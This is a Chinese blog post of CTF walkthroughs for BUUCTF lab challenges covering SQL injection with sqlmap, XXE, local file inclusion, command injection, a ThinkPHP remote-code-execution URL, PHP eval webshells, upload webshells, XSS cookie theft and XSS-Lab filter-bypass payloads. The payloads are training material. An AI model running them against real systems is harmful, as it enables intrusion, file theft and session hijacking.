Skip to content

sqli-labs

几乎所有题都可使用sqlmap解出:

步骤:

列出所有数据库:

sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-1/?id=1 --dbs

发现ctftraining表,打开ctftraining表

sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-1/?id=1 -D ctftraining --tables

发现flag数据,打开flag数据,并列出:

sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-3/?id=1 -D ctftraining -T flag --dump

BUU BURP COURSE 1

此题解题要点,头部参数:X-Real-IP

请求头部添加参数:X-Real-IP:127.0.0.1

bp将请求链接添加重放,头部添加上面参数

https://r2.kwxos.pp.ua/Qexo/24/4/16/77e053c9177a922201bce11dd95c328f.png

然后点发送,然后会获取到密码:

https://r2.kwxos.pp.ua/Qexo/24/4/16/2fb85f092d969ed25b384bf583440ac2.png

将其粘贴到请求处的password处,再点击发送就可以获得flag

BUU XXE COURSE 1

https://r2.kwxos.pp.ua/Qexo/24/4/16/e136c490917268c0e3ad73c22ea31c65.png

此处是一个xxe漏洞

通过定义外部实体,进行对本地文件的映射

先使用http://www.dnslog.cn/检查是否有xxe漏洞

先点击 Get SubDomain获取检测域名链接

将其抓包替换为

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://域名链接" > %xxe; ]>

再进行发送,然后点 Refresh Record,有访问记录就说明测试成功了。

先通过bp抓包,获取点击登录后捕获的数据包,将其放到重放器中,然后修改xml处代码,修改为以下样式:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///flag">
]>
<root> <username>&name;</username></root>

再进行发送,就可以看见flag

<?xml version="1.0" encoding="UTF-8"?>:这是 XML 文档的声明,指定了 XML 的版本和编码方式。 <!DOCTYPE root[:这里开始了 DTD(文档类型定义)部分的定义。在这里,攻击者定义了一个名为 "root" 的文档类型,并在其中定义了一个外部实体。 <!ENTITY name SYSTEM "file:///flag">:在 DTD 中定义了一个名为 "name" 的外部实体,其内容来自系统中的一个名为 "file:///flag" 的文件。 <root> <username>&name;</username></root>:这是 XML 文档的主体部分。在这里,攻击者通过在 <username> 元素中引用定义的外部实体 &name;,将文件 "file:///flag" 的内容插入到 XML 文档中的这个位置。

LFI Labs

cmd1

直接用,find / | grep flag 查看flag位置

再用cat输出文件内容 cat /flag

cmd2

同cmd1

只不过使用的是post请求

cmd3

使用的是联合查询,如:

?domain=baidu.com;whoami#

在分号后执行命令,如cmd1

cmd4

一样使用的是联合查询,但是post请求,所以直接在输入框中,输入 baudu.com;whoami

其他与cmd1一样

cmd5

因为输入框后还会有命令执行,所以使用 ;号使后面命令执行不收影响,也可通过链接更改

baidu.com;whoami;

cmd6

与cmd5类似,只不过使用了post请求,与cmd1执行类似

HDR-1

下面是一个攻击者可能使用的Payload示例: TEMPLATE=http://域名/malicious.php

malicious.php 中,攻击者可以执行任意PHP代码, 没做出来

LFI-1

这题直接提供page参数,访问本地页面

所以参数:?page=/flag

所以只需要知道大概文件存放位置,即可查询对应文件

LFI-2

需使用到 %00

LFI-3

大小写绕过:php->PHp

解决方法流程 黑名单绕过,包括但不局限于

空格绕过:php->php<空格>,这个得抓包后在hex中修改

加点饶工:php->php.

特殊字符绕过:php->php::$DATA

使用'.ph<'进使用'.ph<'进行.php拓展过滤渗出行.php拓展过滤渗出

靶场环境在linux无法实现

LFI-4

写入class的值

?class=/../../../phpinfo

在PHP 5.2.8之后的版本中被修复

LFI-5

对../进行过滤,且只过滤一次

所以只需要多../多输入几次如 ....//....//....//....//....//flag

LFI-6

直接输入 /flag即可解开

LFI-7

会在输入后面加上后缀但版本限制没法使用 %00进行截断

LFI-8

  • 本题与 LFI-3 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。

LFI-9

  • 本题与 LFI-4 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。

LFI-10

  • 本题与 LFI-5 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。

LFI-11

代码审计可知使用post传参,变量为stylepath,所以post传参为

stylepath=../../../../../flag

LFI-12

与上题一样,只不过通过get访问传参

LFI-13

本题又是对../进行过滤

解题方式:

....//....//....//....//....//flag

LFI-14

作为最后一题,本题与 LFI-10 基本完全一致,修改了一下提示而已,虽然增加了 LFI-11 类似的表单干扰,不过因为最终包含的变量名没有变化,故没有任何影响。

BUU XSS COURSE 1

此题用网上的方法,在xss平台并未获取到管理员访问,只有本地访问,很难受

xss平台:https://xssaq.com/

测试发现图片可以发送,之后可以直接将

https://r2.kwxos.pp.ua/Qexo/24/4/17/3d65245c1e0b889837263d8c0343643f.png

放置吐槽框,然后点击发送,后访问地址,可以在xss平台看见,一个本地访问的,和一个管理员访问的cookie,即可使用cookie访问对方后台

AWD-Test1

此题是thinkphp远程命令执行漏洞,

访问链接后,使用脚本对其进行扫描:

https://github.com/admintony/thinkPHPBatchPoc

扫描后发现,链接:

https://r2.kwxos.pp.ua/Qexo/24/4/17/6f42fdcbf15dedc88c7a5a654a5c3c3a.png

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

然后粘贴在链接处,发现可以访问且执行命令,即可使用远程执行命令

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

即可获取flag

AWD-Test2

使用AWVS进行高威漏洞扫描,发现a参数有远程命令执行漏洞

https://r2.kwxos.pp.ua/Qexo/24/4/17/90a537172141aa5a53d89c8261b9bcaa.png

直接使用一句话木马

${phpinfo()}
或者
${@eval($_POST[123])}

直接看phpinfo即可看见flag,或者使用一句话木马,进行远程webshll连接,查看flag

也有其他方法:https://blog.csdn.net/weixin_46601305/article/details/136091206

BUU SQL COURSE 2

此题似乎和上面某题差不多,但是登录后提示false,就知道被骗了

但是通过sqlmap后发现数据库中存在ctftraining,和flag表,又和某题差不多,所以直接使用命令查看表数据获得flag

sqlmap http://c8a5f628-15fa-427b-8f88-a4d775f8a4ad.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -dump

[Windows]Upload-Labs-Windows

这题和上面的linux差不多,上传一句话木马文件

使用蚁剑链接查看C盘根目录下的此文件即可获取,flag

Fl@g_glzjin_still_w@nts_a_girl_friend.txt

基本所有题都可使用图片马进行解决,路径如下:

/include.php?file=./upload/图片名

XSS-Lab

level1

直接在test后接上

<script>alert("ok")</script>

常见xss触发标签:https://blog.csdn.net/LYJ20010728/article/details/116462782

level2

构造payload检测过滤了哪些字符

'';!--"<XSS>=&{()}

通过检测,发现标题对符号 "<>进行了转义

https://r2.kwxos.pp.ua/Qexo/24/4/21/5a87358e8bab62bc4b2387b482d6d1a9.png

在观察html代码处

正常格式

<input name="keyword" value="test">

payload影响后

https://r2.kwxos.pp.ua/Qexo/24/4/21/a21c35aeb2ae53eb653b4f9c2db99bb4.png

发现对其代码产生了影响,所以利用产生影响的字符构建,最终payload

">  <script>alert("ok")</script>  <"

level3

首先明白htmlspecialchars函数的作用

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

然后再查看输入payload后的html

https://r2.kwxos.pp.ua/Qexo/24/4/21/61f6a80d0021bd129d024dae7d3c2669.png 常见payload插入,在上面发的链接中有了 由上面可知,单引号保留了一个,其中一个单引号使得 =消失,触发这个payload,使用 onmouseover,使其鼠标在文本框时,就可以触发alert 最终payload:

'onmouseover='alert(1)''

level4

此题输入payload

'';!--"<XSS>=&{()}

发现最后显示

https://r2.kwxos.pp.ua/Qexo/24/4/21/01283c0b8b6fdf1823e7241c481f0bf2.png 单引号没被过滤,试试将双引号放到 onmouseover前,所以最终为

"onmouseover='alert(1)'

level5

通过测试,发现,其过滤了<script和on开头的字符 只需要,根据html构造一个herf超链接就可以解决了

"> <a href=javascript:alert('xss')>test</a>

level6

通过测试,发现,其过滤了<script和on和herf开头的字符,但是没有进行大小写转义对比,所以,只需要将关键字改为大写即可,最终payload

">  <sCript>alert()</script>  <"

level7

此题检查发现,对关键字进行了一次过滤,所以,只需要多重复一次script就行 这种最终payload

"><scrscriptipt>alert(/1/)</scrscriptipt>"<

level8

此题会将填入链接,通过添加友链按钮,添加至友情链接的href,所以可以键入 javascript:alert('xss'),但是通过键入后发现会识别javascript,所以需要使用转义后的符号替代 t或者其他字母

转换地址:https://www.rapidtables.org/zh-CN/convert/number/ascii-hex-bin-dec-converter.html

最终payload:

javascrip&#116:alert('xss')

level9

首先测试payload:

'';!--"<xss>=&{()}

会发现html变成了,链接不合法

然后我们测试 baidu.com

发现添加依然不合法,再尝试加上 http://,发现添加成功

然后将http://放入任何位置进行检测,原来是进行了,http检测

所以最终payload:

javascrip&#116:alert('http://')

level10

首先打开发现并没有任何输入框, 发现get传参, 首先我传入了,发现并没有什么用

</h2><script>alert(/1/)</script><h2>

发现html下还存在一些传参,然后尝试将其进行get传参

https://r2.kwxos.pp.ua/Qexo/24/4/22/a34677d64836983972b0aa8b9f2fc94f.png

发现t_sort存在参数,又回到了熟悉的上面的题 使用测试payload

'';!--"<XSS>=&{()}

发现并未过滤,然后开头是"所以使用onmouseover='alert(1)'使用双引号开头,如果让input标签出现输入框,需要添加type="text"所以最终payload:

"onmouseover='alert(1)' type="text"

level11

打开html发现,和第十题一样的传参,然后进行测试

https://r2.kwxos.pp.ua/Qexo/24/4/22/fa57eca6d7115c1d2a68d87bad96dd31.png 实验前三个发现都不行, 发现第4个是上一题的链接,通过bp抓包进行替换试试 发现t_refReferer传入的参数

https://r2.kwxos.pp.ua/Qexo/24/4/22/6a2ec06331bba2c7045f25c189fd1bb9.png 将Referer对应的参数修改为"onmouseover='alert(1)' type="text" 即为最终payload

level12

发现和level11类似,只不过更改为了User-Agent 所以尝试通过bp修改User-Agent参数

"onmouseover='alert(1)' type="text"

成功即为最终payload

level13

由于博主访问的靶场报错,并没有t_cook 且并没保存cookie,没有user参数,只能依照,csdn文章添加cookie参数

https://r2.kwxos.pp.ua/Qexo/24/4/22/7f4191673d299c56fb65f6beeeaa2793.png 发现传入参数

https://r2.kwxos.pp.ua/Qexo/24/4/22/dd6f77718befc4aecdd4cb4abbf2757f.png 则最终payload: user:"onmouseover='alert(1)' type="text"

level14

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号 查看网页源代码:

https://r2.kwxos.pp.ua/Qexo/24/4/22/86d1472527ae9b0667054283245966b3.png

传入src参数?src='/level1.php' 发现可以传入参数:

<body><span class="ng-include:'/level1.php'"></span></body>

所以传入payload:

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

level15

这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化 payload测试:

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106;

发现如下结果

https://r2.kwxos.pp.ua/Qexo/24/4/22/e320c0887a0865c5ad704060a9774c4e.png

空格实体化了,/也实体化了,在https://blog.csdn.net/LYJ20010728/article/details/116462782查看常见xss标签,使用不含/的,空格用回车替代 最终payload:

<svg%0Aonload=alert(1)>

level16~19

这些题大多数浏览器不在支持flash所以跳过 可以在以下地址查看解题方法: https://blog.csdn.net/l2872253606/article/details/125638898#t16